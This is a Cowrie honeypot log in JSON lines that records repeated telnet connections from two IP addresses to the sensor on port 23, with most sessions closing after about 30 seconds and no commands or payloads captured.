{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50872,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7042780128","protocol":"telnet","message":"New connection: 208.115.219.122:50872 (10.17.0.5:23) [session: fa7042780128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.015663Z"}
{"eventid":"cowrie.session.closed","duration":30.87072253227234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.020386Z","src_ip":"208.115.219.122","session":"6e9262e0d17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56884002685547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.042465Z","src_ip":"208.115.219.122","session":"62448b3c4ecf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42090,"dst_ip":"10.17.0.5","dst_port":23,"session":"3301d22043c1","protocol":"telnet","message":"New connection: 208.115.200.90:42090 (10.17.0.5:23) [session: 3301d22043c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.062232Z"}
{"eventid":"cowrie.session.closed","duration":31.04525327682495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.088727Z","src_ip":"208.115.219.122","session":"7ac5a6ce5d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800431728363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.119477Z","src_ip":"208.115.219.122","session":"ed5e1ec4bb60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50954,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb9a68eec12f","protocol":"telnet","message":"New connection: 208.115.219.122:50954 (10.17.0.5:23) [session: eb9a68eec12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.139331Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50980,"dst_ip":"10.17.0.5","dst_port":23,"session":"7713079fb0fd","protocol":"telnet","message":"New connection: 208.115.219.122:50980 (10.17.0.5:23) [session: 7713079fb0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.172927Z"}
{"eventid":"cowrie.session.closed","duration":31.067230463027954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.205775Z","src_ip":"208.115.219.122","session":"c69e825ee6ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048946380615234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.215218Z","src_ip":"208.115.200.90","session":"80540e29732e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892785787582397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.250026Z","src_ip":"208.115.200.90","session":"482a2b5d2d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51022,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b18128eb444","protocol":"telnet","message":"New connection: 208.115.219.122:51022 (10.17.0.5:23) [session: 5b18128eb444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.301899Z"}
{"eventid":"cowrie.session.closed","duration":30.99473261833191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.378078Z","src_ip":"208.115.200.90","session":"d91b43494800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62471866607666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.383425Z","src_ip":"208.115.200.90","session":"ebb8413f7079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42176,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc35b1bf01bf","protocol":"telnet","message":"New connection: 208.115.200.90:42176 (10.17.0.5:23) [session: fc35b1bf01bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.488072Z"}
{"eventid":"cowrie.session.closed","duration":31.04744791984558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.501362Z","src_ip":"208.115.219.122","session":"2e27afe0172d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42222,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4c57e04259","protocol":"telnet","message":"New connection: 208.115.200.90:42222 (10.17.0.5:23) [session: fe4c57e04259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.539073Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41864,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b627f98a77","protocol":"telnet","message":"New connection: 208.115.200.90:41864 (10.17.0.5:23) [session: 49b627f98a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.588307Z"}
{"eventid":"cowrie.session.closed","duration":31.504162788391113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.695247Z","src_ip":"208.115.219.122","session":"47b08aa541f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42536,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3f26875ec1","protocol":"telnet","message":"New connection: 208.115.200.90:42536 (10.17.0.5:23) [session: 2c3f26875ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.011982Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51516,"dst_ip":"10.17.0.5","dst_port":23,"session":"db11a18e79b9","protocol":"telnet","message":"New connection: 208.115.219.122:51516 (10.17.0.5:23) [session: db11a18e79b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.062655Z"}
{"eventid":"cowrie.session.closed","duration":30.98034358024597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.093254Z","src_ip":"208.115.200.90","session":"4e3d2534eb47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873987913131714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.139071Z","src_ip":"208.115.200.90","session":"2eee32da5e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"5169af2f8942","protocol":"telnet","message":"New connection: 208.115.200.90:42542 (10.17.0.5:23) [session: 5169af2f8942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.145473Z"}
{"eventid":"cowrie.session.closed","duration":30.781356811523438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.159630Z","src_ip":"208.115.200.90","session":"9589fb08bbdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48783040046692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.165859Z","src_ip":"208.115.200.90","session":"554842b99a50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887580156326294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.185268Z","src_ip":"208.115.200.90","session":"f9baf264b407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751344203948975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.317045Z","src_ip":"208.115.200.90","session":"b00314d33f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273946046829224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.323656Z","src_ip":"208.115.219.122","session":"552dfa58f1d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42834,"dst_ip":"10.17.0.5","dst_port":23,"session":"c47bd3d77948","protocol":"telnet","message":"New connection: 208.115.200.90:42834 (10.17.0.5:23) [session: c47bd3d77948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.529943Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"442e2fe557a8","protocol":"telnet","message":"New connection: 208.115.200.90:43032 (10.17.0.5:23) [session: 442e2fe557a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.662059Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51784,"dst_ip":"10.17.0.5","dst_port":23,"session":"d93a22429491","protocol":"telnet","message":"New connection: 208.115.219.122:51784 (10.17.0.5:23) [session: d93a22429491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:53.838279Z"}
{"eventid":"cowrie.session.closed","duration":30.901475429534912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.017029Z","src_ip":"208.115.219.122","session":"8b2c62e56e23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41528,"dst_ip":"10.17.0.5","dst_port":23,"session":"4578a12ca2b4","protocol":"telnet","message":"New connection: 208.115.200.90:41528 (10.17.0.5:23) [session: 4578a12ca2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.055494Z"}
{"eventid":"cowrie.session.closed","duration":30.467353343963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.061339Z","src_ip":"208.115.200.90","session":"6a78bc520096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.625634908676147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.149194Z","src_ip":"208.115.200.90","session":"458776dbc4ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43456,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea9de7cda35a","protocol":"telnet","message":"New connection: 208.115.200.90:43456 (10.17.0.5:23) [session: ea9de7cda35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.193861Z"}
{"eventid":"cowrie.session.closed","duration":30.552729845046997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.198857Z","src_ip":"208.115.200.90","session":"629abecc6ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614833116531372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.255650Z","src_ip":"208.115.200.90","session":"8056f1947571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4740ac532e8e","protocol":"telnet","message":"New connection: 208.115.200.90:43466 (10.17.0.5:23) [session: 4740ac532e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.289169Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50414,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9e9a78cad4","protocol":"telnet","message":"New connection: 208.115.219.122:50414 (10.17.0.5:23) [session: 9c9e9a78cad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.314521Z"}
{"eventid":"cowrie.session.closed","duration":31.008625984191895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.324064Z","src_ip":"208.115.200.90","session":"5d3297026d93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69216513633728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.353490Z","src_ip":"208.115.200.90","session":"816edbe7918b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51554,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e01f2790f8e","protocol":"telnet","message":"New connection: 208.115.219.122:51554 (10.17.0.5:23) [session: 2e01f2790f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.376445Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51816,"dst_ip":"10.17.0.5","dst_port":23,"session":"65bd379b07fa","protocol":"telnet","message":"New connection: 208.115.219.122:51816 (10.17.0.5:23) [session: 65bd379b07fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.419181Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37988,"dst_ip":"10.17.0.5","dst_port":23,"session":"05cd50302492","protocol":"telnet","message":"New connection: 208.115.200.90:37988 (10.17.0.5:23) [session: 05cd50302492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.432937Z"}
{"eventid":"cowrie.session.closed","duration":31.182629346847534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.453444Z","src_ip":"208.115.200.90","session":"3e260fb53119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38020,"dst_ip":"10.17.0.5","dst_port":23,"session":"338cae9e417e","protocol":"telnet","message":"New connection: 208.115.200.90:38020 (10.17.0.5:23) [session: 338cae9e417e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.459573Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38026,"dst_ip":"10.17.0.5","dst_port":23,"session":"68040dc0ef50","protocol":"telnet","message":"New connection: 208.115.200.90:38026 (10.17.0.5:23) [session: 68040dc0ef50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.477168Z"}
{"eventid":"cowrie.session.closed","duration":31.397520780563354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.605415Z","src_ip":"208.115.219.122","session":"6ba85d3a2516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39901065826416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.744921Z","src_ip":"208.115.200.90","session":"90aea3067a06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38494,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f1e049f2a9","protocol":"telnet","message":"New connection: 208.115.200.90:38494 (10.17.0.5:23) [session: f5f1e049f2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.798824Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"21066d0cc204","protocol":"telnet","message":"New connection: 208.115.219.122:51956 (10.17.0.5:23) [session: 21066d0cc204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:54.934170Z"}
{"eventid":"cowrie.session.closed","duration":30.78023076057434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.038000Z","src_ip":"208.115.219.122","session":"fd78fe578778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637244939804077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.046721Z","src_ip":"208.115.200.90","session":"c440c948e045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38744,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b6d0236878","protocol":"telnet","message":"New connection: 208.115.200.90:38744 (10.17.0.5:23) [session: a7b6d0236878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.054497Z"}
{"eventid":"cowrie.session.closed","duration":30.725690841674805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.088298Z","src_ip":"208.115.200.90","session":"b863a729ace6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38764,"dst_ip":"10.17.0.5","dst_port":23,"session":"b064753342bd","protocol":"telnet","message":"New connection: 208.115.200.90:38764 (10.17.0.5:23) [session: b064753342bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.114934Z"}
{"eventid":"cowrie.session.closed","duration":30.883506298065186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.186188Z","src_ip":"208.115.219.122","session":"199d1fdfda3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50968,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87c4decd694","protocol":"telnet","message":"New connection: 208.115.219.122:50968 (10.17.0.5:23) [session: e87c4decd694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.210441Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37086,"dst_ip":"10.17.0.5","dst_port":23,"session":"0993e0c06933","protocol":"telnet","message":"New connection: 208.115.219.122:37086 (10.17.0.5:23) [session: 0993e0c06933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.264017Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38866,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4422775604","protocol":"telnet","message":"New connection: 208.115.200.90:38866 (10.17.0.5:23) [session: fe4422775604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.374267Z"}
{"eventid":"cowrie.session.closed","duration":30.94010591506958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.392669Z","src_ip":"208.115.200.90","session":"547106ae3d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14524483680725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.463353Z","src_ip":"208.115.219.122","session":"cccd2b408270","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173160076141357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.486272Z","src_ip":"208.115.219.122","session":"7d0eecf9dd83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42401623725891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.623569Z","src_ip":"208.115.200.90","session":"50991914a654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19458556175232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.681577Z","src_ip":"208.115.200.90","session":"8b3625c3d110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130996465682983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.693181Z","src_ip":"208.115.200.90","session":"337660691477","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39460,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cafce02e02b","protocol":"telnet","message":"New connection: 208.115.200.90:39460 (10.17.0.5:23) [session: 2cafce02e02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.696955Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"71a718693d47","protocol":"telnet","message":"New connection: 208.115.200.90:39624 (10.17.0.5:23) [session: 71a718693d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.787473Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51416,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebf9f7e0444f","protocol":"telnet","message":"New connection: 208.115.219.122:51416 (10.17.0.5:23) [session: ebf9f7e0444f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:55.979459Z"}
{"eventid":"cowrie.session.closed","duration":30.821363925933838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.015614Z","src_ip":"208.115.219.122","session":"8247c458613f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735140323638916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.022269Z","src_ip":"208.115.219.122","session":"49f024def0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803488969802856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.028019Z","src_ip":"208.115.200.90","session":"203dda10e6be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40040,"dst_ip":"10.17.0.5","dst_port":23,"session":"17512932725b","protocol":"telnet","message":"New connection: 208.115.200.90:40040 (10.17.0.5:23) [session: 17512932725b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.047385Z"}
{"eventid":"cowrie.session.closed","duration":30.67143964767456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.087582Z","src_ip":"208.115.200.90","session":"fc49eca53623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892624378204346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.094605Z","src_ip":"208.115.219.122","session":"ad8d5e5f0184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37246,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc2db093b05","protocol":"telnet","message":"New connection: 208.115.219.122:37246 (10.17.0.5:23) [session: 0bc2db093b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.162519Z"}
{"eventid":"cowrie.session.closed","duration":30.721774101257324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.221831Z","src_ip":"208.115.200.90","session":"2884b82ebb58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40156,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f759c4f9252","protocol":"telnet","message":"New connection: 208.115.200.90:40156 (10.17.0.5:23) [session: 4f759c4f9252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.303142Z"}
{"eventid":"cowrie.session.closed","duration":30.7305965423584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.318088Z","src_ip":"208.115.200.90","session":"fb65d1c9c12f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.062499284744263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.331813Z","src_ip":"208.115.200.90","session":"391fa737b4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40186,"dst_ip":"10.17.0.5","dst_port":23,"session":"2942960bfdbf","protocol":"telnet","message":"New connection: 208.115.200.90:40186 (10.17.0.5:23) [session: 2942960bfdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:56.340482Z"}
